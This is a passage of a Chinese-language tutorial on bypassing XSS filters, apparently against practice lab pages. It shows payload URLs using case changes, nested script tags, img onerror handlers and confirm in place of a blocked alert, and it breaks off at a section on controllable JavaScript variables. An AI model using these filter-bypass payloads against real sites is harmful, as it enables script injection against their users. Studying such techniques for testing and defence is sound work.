XSS过滤绕过手法与加载payload

XSS基本绕过手法

1、关键词大小写绕过

http://target_sys.com/xss/xss04.php?name=<Script>alert(1);</Script>

2、关键词单次过滤绕过

http://target_sys.com/xss/xss05.php?name=<script<script>>alert(1);</sc</script>ript>

3、对script标签过滤，用img标签绕过进行xss注入

http://target_sys.com/xss/xss06.php?name=testit<img src=a onerror=alert(1)>

4、禁用alert，同上用img标签配合confirm绕过

http://target_sys.com/xss/xss07.php?name=<img src="1" onerror="confirm('xss')">

5、控制js输出的xss

场景：前端代码中存在可控变量

<script>
    var $yy =